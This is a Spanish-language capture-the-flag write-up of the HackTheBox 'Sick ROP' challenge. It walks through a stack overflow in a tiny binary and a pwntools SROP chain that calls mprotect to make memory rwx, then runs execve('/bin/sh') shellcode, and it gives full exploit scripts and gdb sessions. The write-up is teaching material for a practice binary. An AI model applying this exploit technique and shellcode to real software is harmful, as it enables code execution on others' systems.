xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Sick ROP



Reversing


Si ejecutamos el binario parece que espera una entrada donde enviamos 16 bytes, el programa devuelve lo que enviamos como entrada todas las veces que lo enviemos

❯ ./sick_rop
AAAAAAAABBBBBBBB  
AAAAAAAABBBBBBBB  
CCCCCCCCDDDDDDDD  
CCCCCCCCDDDDDDDD  

Al desensamblar el programa podemos ver que en verdad es muy simple, ni siquiera tiene un main inicia desde la función _start que llama a la función vuln en bucle

La función vuln lee 0x300 bytes llamando a read en rbp - 32, el valor de retorno es la cantidad de bytes leidos, entonces llama a write para mostrar lo que se recibió


Explotación


Iniciamos mirando las protecciones con checksec, este no tiene ninguna a excepción del NX que evitará que podamos ejecutar shellcode directamente en el stack

❯ checksec sick_rop
[*] '/home/user/sick_rop'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)  

Podemos crear un payload, enviaremos 32 A's para rellenar el buffer antes de rbp, 8 B's que seran el valor de rbp en el leave y 8 C's que tomaran el valor del return address, y finalmente algunas D's que simplemente se guardarán en el stack

❯ python3 -q
>>> b"A" * 32 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'  
>>>

❯ gdb -q sick_rop
Reading symbols from sick_rop...
(No debugging symbols found in sick_rop)
pwndbg> r
Starting program: /home/user/sick_rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD  

Program received signal SIGSEGV, Segmentation fault.
0x000000000040104e in vuln ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe878: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7fffffffe880: 'D' <repetidos 24 veces>
pwndbg>

El valor de retorno en rax es 0x49, la cantidad de bytes que se enviaron con el \n

pwndbg> p/x $rax  
$1 = 0x49
pwndbg>

Aunque tenemos control del return address y podriamos ejecutar un ropchain los gadgets que existen en el binario son muy limitados y no nos sirven para cargar valores en registros, el único interesante es syscall que nos ayudará a explotarlo

❯ ropper --file sick_rop --search 'syscall; ret;'  
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: syscall; ret;

[INFO] File: sick_rop
0x0000000000401014: syscall; ret;

Aunque la dirección del stack es aleatoria podemos hacer que apunte a un punto del binario, pero deberemos cambiar los permisos de los 0x2000 bytes a 7 o rwx

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /home/user/sick_rop  
          0x401000           0x402000 r-xp     1000   1000 /home/user/sick_rop  
    0x7ffff7ff9000     0x7ffff7ffd000 r--p     4000      0 [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000      0 [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
pwndbg>

La tecnica que utilizaremos será un SROP, para ello necesitaremos un par de cosas, la primera es un gadget syscall; ret; y la segunda es cargar en el registro rax el valor 0xf que es el syscall NR de la función sigreturn, el registro rax lo controlamos con el valor de retorno que es la longitud, al enviar 0xf bytes se almacenara en rax

payload  = b""
payload += b"A" * 0xf    # len = sigreturn()  

shell.send(payload)
shell.recv()

Las pwntools nos hace el proceso del SROP mas sencillo asi que creamos un frame y asignamos los valores que queremos que tengan los registros, nuestra idea será llamar a mprotect para cambiar los privilegios del binario, entonces almacenamos en rax el valor 0xa que es su syscall number y en rip el gadget de syscall; ret;

frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa          # mprotect()
frame.rip = 0x401014     # syscall; ret;  

El primer argumento en rdi será la dirección base del binario, en rsi la longitud que serán 0x2000 bytes y finalmente en rdx la protección que es 7 o rwx

frame.rdi = 0x400000     # base address  
frame.rsi = 0x2000       # len
frame.rdx = 0x7          # prot

Nuestra idea será redirigir el ret luego de la syscall, entonces en rsp podemos almacenar una dirección que contenta la dirección de la función vuln, asi retornará nuevamente al bucle y como el stack ahora está en el binario tenemos rwx

pwndbg> p vuln
$1 = {<text variable, no debug info>} 0x40102e <vuln>  
pwndbg> search -t qword 0x40102e
Searching for value: b'.\x10@\x00\x00\x00\x00\x00'
sick_rop        0x4010d8 adc byte ptr cs:[rax], al
pwndbg> x/gx 0x4010d8
0x4010d8:       0x000000000040102e
pwndbg>

frame.rsp = 0x4010d8     # &vuln()  

Entonces, primero enviamos un payload que rellena con A's hasta el return address, ahi llamaremos a la función vuln donde enviaremos 0xf bytes asi el valor de retorno sera el syscall number de sigreturn, al retornar ejecutará un syscall; ret; que ejecutará el frame que creamos y llamará a mprotect modificando asi los privilegios

#!/usr/bin/python3
from pwn import gdb, p64, SigreturnFrame

shell = gdb.debug("./sick_rop", "b *vuln+32\ncontinue")  

offset = 40
junk = b"A" * offset

frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa          # mprotect()
frame.rdi = 0x400000     # base address
frame.rsi = 0x2000       # len
frame.rdx = 0x7          # prot
frame.rip = 0x401014     # syscall; ret;
frame.rsp = 0x4010d8     # &vuln()

payload  = b""
payload += junk
payload += p64(0x40102e) # vuln()
payload += p64(0x401014) # syscall; ret;
payload += bytes(frame)

shell.send(payload)
shell.recv()

payload  = b""
payload += b"A" * 0xf    # len = sigreturn()  

shell.send(payload)
shell.recv()

shell.interactive()

Veamos como funciona nuestro exploit desde el debugger, al llegar al breakpoint del primer ret llamará a la función vuln y luego ejecutará el gadget syscall; ret;

Breakpoint 1, 0x000000000040104e in vuln ()  
pwndbg> x/i $rip
=> 0x40104e <vuln+32>:  ret
pwndbg> x/i *(long long *)($rsp + 0)
   0x40102e <vuln>:     push   rbp
pwndbg> x/2i *(long long *)($rsp + 8)
   0x401014 <read+20>:  syscall
   0x401016 <read+22>:  ret
pwndbg>

Cuando llamamos a vuln y enviamos 0xf bytes, cuando llegamos al gadget que sigue después de la función en el registro rax almacena el valor de retorno que es la cantidad de bytes recibidos que son 0xf, el mismo syscall number de sigreturn

pwndbg> nextret
Temporary breakpoint -1, 0x0000000000401040 in vuln ()  
Temporary breakpoint -2, 0x0000000000401048 in vuln ()  

Breakpoint 1, 0x000000000040104e in vuln ()
pwndbg> ni
0x0000000000401014 in read ()
pwndbg> x/i $rip
=> 0x401014 <read+20>:  syscall
pwndbg> p/x $rax
$1 = 0xf
pwndbg>

Al ejecutar el syscall salta al frame que intentará ejecutar la syscall de la función mprotect para modificar los permisos de 0x2000 bytes del binario a rwx

pwndbg> ni
0x0000000000401014 in read ()
pwndbg> x/i $rip
=> 0x401014 <read+20>:  syscall  
pwndbg> p/x $rax
$2 = 0xa
pwndbg> p/x $rdi
$3 = 0x400000
pwndbg> p/x $rsi
$4 = 0x2000
pwndbg> p/x $rdx
$5 = 0x7
pwndbg>

Luego de ejecutar la llamada a mprotect el binario posee privilegios rwx por lo que podemos ejecutar un shellcode que podamos guardar en cualquier parte de él

pwndbg> ni
0x0000000000401016 in read ()
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 rwxp     1000      0 /home/user/sick_rop  
          0x401000           0x402000 rwxp     1000   1000 /home/user/sick_rop  
    0x7ffc09035000     0x7ffc09056000 rw-p    21000      0 [stack]
    0x7ffc09089000     0x7ffc0908d000 r--p     4000      0 [vvar]
    0x7ffc0908d000     0x7ffc0908f000 r-xp     2000      0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
pwndbg>

Cuando apuntamos al siguiente ret el frame indica que el registro rsp apunta a una dirección en el binario que es una referencia a la dirección de la función vuln

pwndbg> x/i $rip
=> 0x401016 <read+22>:  ret
pwndbg> p/x $rsp
$6 = 0x4010d8
pwndbg> x/i *(long long *)($rsp)
   0x40102e <vuln>:     push   rbp  
pwndbg> c
Continuando.

Entonces como nuevamente se retorna a la función vuln ahora podemos enviar un total de 40 A's que es el offset del return address donde apuntaremos a 8 B's

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 166333
[*] running in new terminal: ['/usr/bin/gdb', '-q', './sick_rop']  
[*] Switching to interactive mode
$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
$

Aunque en el binario no existe un gadget jmp rsp como modificamos el rsp hacia una parte del binario ahora el inicio de nuestro buffer ahora se guarda en la dirección estática 0x4010b8 por lo que podemos apuntar ahi para ejecutar un shellcode

Breakpoint 1, 0x000000000040104e in vuln ()
pwndbg> x/i $rip
=> 0x40104e <vuln+32>:  ret
pwndbg> x/gx $rsp
0x4010e0:       0x4242424242424242
pwndbg> x/s $rsi
0x4010b8:       'A' <repetidos 40 veces>, "BBBBBBBB"  
pwndbg>

El exploit final ejecutará todo el proceso anterior para ejecutar el mprotect y modificar los permisos del binario a rwx, entonces enviamos un shellcode al inicio y rellenamos con A's hasta el return address donde apuntaremos a la dirección 0x4010b8 donde sabemos que se guarda el inicio del buffer, al correr el exploit nos devuelve una shell

#!/usr/bin/python3
from pwn import process, p64, SigreturnFrame

shell = process("./sick_rop")

offset = 40
junk = b"A" * offset

frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa          # mprotect()
frame.rdi = 0x400000     # base address
frame.rsi = 0x2000       # len
frame.rdx = 0x7          # prot
frame.rip = 0x401014     # syscall; ret;
frame.rsp = 0x4010d8     # &vuln()

payload  = b""
payload += junk
payload += p64(0x40102e) # vuln()
payload += p64(0x401014) # syscall; ret;
payload += bytes(frame)

shell.send(payload)
shell.recv()

payload  = b""
payload += b"A" * 0xf    # len = sigreturn()

shell.send(payload)
shell.recv()

# execve("/bin/sh", NULL, NULL);
shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x52\x5e\x0f\x05"  

junk = b"A" * (offset - len(shellcode))

payload  = b""
payload += shellcode
payload += junk
payload += p64(0x4010b8) # shellcode

shell.send(payload)
shell.recv()

shell.interactive()

❯ python3 exploit.py
[+] Starting local process './sick_rop': pid 170702  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$